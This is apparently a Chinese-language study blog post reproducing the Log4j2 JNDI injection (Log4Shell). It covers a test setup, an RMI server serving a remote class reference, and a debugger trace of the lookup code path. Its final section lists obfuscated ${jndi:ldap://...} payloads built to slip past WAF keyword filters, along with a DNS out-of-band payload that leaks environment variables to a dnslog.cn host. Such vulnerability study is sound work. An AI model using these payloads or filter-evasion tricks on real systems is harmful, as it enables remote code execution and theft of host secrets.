前言

前几天做了一个log4j2的题目,但是还没有系统的学一下(关于开发,漏洞的原理,一些绕过方法等)。

简介

Log4j2 是 Apache Log4j 的升级版本,相较于 Log4j 1.x 和 Logback,提供了显著的性能提升和功能改进。它被广泛认为是目前最优秀的 Java 日志框架之一,常与 SLF4J 门面结合使用以实现高效日志记录。

漏洞复现

环境准备

这里要先准备一个log4j2的环境

  • jdk8u65
  • log4j2 2.14.1
  • cc 3.2.1
    首先是依赖包
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <dependency>  
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
    </dependency>
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
    </dependency>
    <dependency>
    <groupId>junit</groupId>
    <artifactId>junit</artifactId>
    <version>4.12</version>
    <scope>test</scope>
    </dependency>
    关于log4j2的实现,我们选择使用xml来实现
    这是一个很简单的实现方法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?xml version="1.0" encoding="UTF-8"?>  
    <Configuration status="WARN">
    <Appenders> <!-- 控制台输出 -->
    <Console name="Console" target="SYSTEM_OUT">
    <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
    </Console> </Appenders>
    <Loggers> <Root level="INFO">
    <AppenderRef ref="Console"/>
    </Root> </Loggers></Configuration>
    然后写个小demo,看一下输出
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    import java.util.function.LongFunction;  
    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;

    public class log4j2test {
    public static void main(String[] args) {
    Logger logger = LogManager.getLogger(LongFunction.class);
    logger.info("Hello World");
    }
    }
    image.png
    这样其实就准备的差不多了

漏洞原理

影响版本:2.x <= log4j <= 2.15.0-rc1
既然是一个日志框架,每当有人登录的时候会把信息输出出来就像
image.png
那么如果使用${java:os}会发生什么呢?
image.png
这里我们会看到,显示了一些操作系统的信息,其实是这里会对lookup进行调用,最主要的是这里用的lookup还是jndi的lookup,所以就会造成jndi的注入。
我们先起一个rmi的服务测试一下
还是之前写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import org.apache.naming.ResourceRef;  

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIserver {
public static void main(String[] args) throws NamingException, RemoteException {
Registry registry = LocateRegistry.createRegistry(1099);

InitialContext initialContext = new InitialContext();
// initialContext.rebind("rmi://localhost:1099/remoteobject", new remoteObject());
Reference reference = new Reference("TestRef","TestRef","http://localhost:7777/");
// ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
// resourceRef.add(new StringRefAddr("forceString","x=eval"));
// resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('calc')"));

initialContext.rebind("rmi://localhost:1099/RO", reference);


}
}

这里运行之后是可以执行恶意类的
image.png
image.png

分析

image.png
对于调试看Drunkbaby师傅的博客是从这里开始调试的,当然我是一步步调到这里的,前面的就不写了,师傅们也可以直接从这里打断点开始,前面的不重要,从这里进入format方法。
image.png
然后反复测了一会,发现不同的i会进入不同的fomat方法(当然有的可能是一样的方法,没细看),这里当i为8的时候进入到了一个特殊的format方法当中。
image.png

image.png
在这里会判断是否是log4j2的lookups功能,这里是为true的,所以我们继续向下,会识别出${}的里的内容并使用StrSubstitutor进行替换,这让跟进replace看一下
image.png
继续跟进substitute
image.png
这里会提取出${}的内容,return出来之后到这里
image.png
然后继续向下执行一直到resolveVariable
image.png
这里的varname就是rmi://localhost:1099/RO
image.png
到这里我们就能看到对lookup的调用了。
在一直向里跟一下就可以看到原生的jndi的调用了。
image.png

针对waf的绕过方法

waf主要是对jndi等关键词的禁用,这里有几种佬整理的绕过方法:

  1. 利用分割符和多个${}绕过

    1
    logg.info("${${::-J}ndi:ldap://127.0.0.1:1389/Calc}");
  2. 通过lower和upper绕过
    image.png
    这个能利用的原因是就是这里,不仅支持jndi,也支持upper和lower
    所以可以写成这样

    1
    2
    3
    logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
    logg.info("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");
    ....

    其实也可以编码绕过例如Unicode和16进制,就比如今天刚做的一个题ez_gadget

  3. 总结payload
    原始:"${jndi:ldap://127.0.0.1:1234/ExportObject}";
    变化:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    ${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject};

    ${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";

    ${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";

    ${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";

    ${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";
  4. 小技巧
    可以通过sys和env协议,读取一些敏感信息(配合dns),例如
    ${jndi:ldap://${env:LOGNAME}.uaoeck.dnslog.cn}
    利用dns带外回显。
    整体就是这些

参考

Log4j2复现 | Drunkbaby’s Blog